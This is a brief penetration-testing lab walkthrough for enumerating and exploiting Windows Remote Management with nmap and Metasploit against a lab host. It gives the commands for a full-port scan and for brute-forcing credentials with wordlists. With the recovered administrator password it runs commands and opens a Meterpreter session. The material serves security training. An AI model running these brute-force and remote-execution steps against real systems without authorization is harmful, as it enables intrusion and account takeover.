Lab
This lab enumerates and exploits WinRM with Metasploit.
Nmap Scan
nmap -sC -sV 10.3.17.186 --min-rate=1000 --disable-arp-ping --max-retries=0
Start PostgreSQL and msfconsole
service postgresql start && msfconsole
Create Workspace
workspace -a winrm
Nmap Scan from Metasploit
WinRM isn't on a default port, so scan all ports with -p-.
db_nmap 10.3.17.186
nmap -sC -sV 10.3.17.186 -p- --min-rate=1000 --disable-arp-ping --max-retries=
winrmisn't a default port, so all ports have to be specified with-p-.- Port
5985= WinRM.
WinRM Auth Methods Module
use auxiliary/scanner/winrm/winrm_auth_methods
http://10.3.17.186/wsman is the default filepath to confirm WinRM is running.
Brute Force WinRM
use auxiliary/scanner/winrm/winrm_login
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set STOP_ON_SUCCESS true
set VERBOSE false
exploit
WinRM CMD Module
Run a command with the recovered credentials:
use auxiliary/scanner/winrm/winrm_cmd
set USERNAME administrator
set PASSWORD tinkerbell
set CMD whoami /priv
exploit
Gain a Meterpreter Session
use exploit/windows/winrm/winrm_script_exec
set USERNAME administrator
set PASSWORD tinkerbell
set FORCE_VBS true
exploit